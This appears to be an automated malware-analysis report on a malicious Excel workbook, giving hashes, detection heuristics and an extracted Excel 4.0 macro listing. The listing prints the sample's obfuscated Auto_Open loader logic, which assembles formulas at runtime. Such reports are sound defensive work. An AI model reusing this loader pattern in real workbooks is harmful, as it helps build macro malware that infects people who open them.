Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 de8a07f5cf86e7bc…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:09 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 81612bd67d6e9a6c64448420c367a672 SHA-1: 0bdecf341006135716f76c3247a6a402288c1693 SHA-256: de8a07f5cf86e7bcc485d32797cecd7a79e6c0bd4a6a54c013e0ec2b6441a188
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6501 bytes
SHA-256: b9a4fc24845195b7c59acbae44e38a87f7a1782a02da636ab714b7aced500e6c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KIuYPJHC
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B179 
' 0018     20 LABEL : Cell Value, String Constant - bAbHi len=0 
' 0018     21 LABEL : Cell Value, String Constant - CmgvHq len=0 
' 0018     20 LABEL : Cell Value, String Constant - cUKjF len=0 
' 0018     20 LABEL : Cell Value, String Constant - DTkew len=0 
' 0018     27 LABEL : Cell Value, String Constant - fRQAHZDQtjFp len=0 
' 0018     21 LABEL : Cell Value, String Constant - GbkoZS len=0 
' 0018     26 LABEL : Cell Value, String Constant - LcoaXcTeKLp len=0 
' 0018     25 LABEL : Cell Value, String Constant - lGMmTxyZvQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - MAbNOr len=0 
' 0018     26 LABEL : Cell Value, String Constant - mWHsrOrWxUT len=0 
' 0018     22 LABEL : Cell Value, String Constant - NQiDWwv len=0 
' 0018     22 LABEL : Cell Value, String Constant - pYQXplq len=0 
' 0018     22 LABEL : Cell Value, String Constant - QmjhxCC len=0 
' 0018     23 LABEL : Cell Value, String Constant - SovSMCzp len=0 
' 0018     23 LABEL : Cell Value, String Constant - TFcwiEPg len=0 
' 0018     27 LABEL : Cell Value, String Constant - tlVtQOrPRVqx len=0 
' 0018     20 LABEL : Cell Value, String Constant - XaTHC len=0 
' 0018     20 LABEL : Cell Value, String Constant - yeDFb len=0 
' 0018     22 LABEL : Cell Value, String Constant - YEMwuYf len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZSFZeibg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KIuYPJHC,B89,"SET.NAME("YEMwuYf",VALUE("0"))",""
'  KIuYPJHC,B94,"SET.NAME("DTkew",YEMwuYf)",""
'  KIuYPJHC,B99,"SET.NAME("fRQAHZDQtjFp",YEMwuYf)",""
'  KIuYPJHC,B103,"SET.NAME("pYQXplq",COUNTA(GbkoZS))",""
'  KIuYPJHC,B108,"SET.NAME("lGMmTxyZvQ",COUNTA(tlVtQOrPRVqx))",""
'  KIuYPJHC,B110,[],""
'  KIuYPJHC,B114,"SET.NAME("CmgvHq","")",""
'  KIuYPJHC,B117,"DTkew",""
'  KIuYPJHC,B120,"SET.NAME("TFcwiEPg",HLOOKUP("*",GbkoZS,DTkew,FALSE))",""
'  KIuYPJHC,B125,"MAbNOr",""
'  KIuYPJHC,B127,"SET.NAME("LcoaXcTeKLp",YEMwuYf)",""
'  KIuYPJHC,B129,[],""
'  KIuYPJHC,B131,"LcoaXcTeKLp",""
'  KIuYPJHC,B134,"bAbHi",""
'  KIuYPJHC,B138,"SovSMCzp",""
'  KIuYPJHC,B142,"ZSFZeibg",""
'  KIuYPJHC,B145,"SET.NAME("cUKjF",VALUE(HLOOKUP("*",tlVtQOrPRVqx,ZSFZeibg,FALSE)))",""
'  KIuYPJHC,B149,"yeDFb",""
'  KIuYPJHC,B153,"CmgvHq",""
'  KIuYPJHC,B156,"fRQAHZDQtjFp",""
'  KIuYPJHC,B158,NEXT(),""
'  KIuYPJHC,B161,"NQiDWwv",""
'  KIuYPJHC,B165,"SET.NAME("f",INT(T(FORMULA(T(CmgvHq)&"",""&T(NQiDWwv)))))",""
'  KIuYPJHC,B167,"QmjhxCC",""
'  KIuYPJHC,B171,NEXT(),""
'  KIuYPJHC,B175,RETURN(),""
'  KIuYPJHC,B206,"SET.NAME("mWHsrOrWxUT",B89)",""
'  KIuYPJHC,B209,"GbkoZS",""
'  KIuYPJHC,B213,"SET.NAME("tlVtQOrPRVqx",R96C12)",""
'  KIuYPJHC,B216,"SET.NAME("QmjhxCC",224)",""
'  KIuYPJHC,B220,"SET.NAME("XaTHC",2)",""
'  KIuYPJHC,B223,mWHsrOrWxUT(),""
'  KIuYPJHC,B224,HALT(),""

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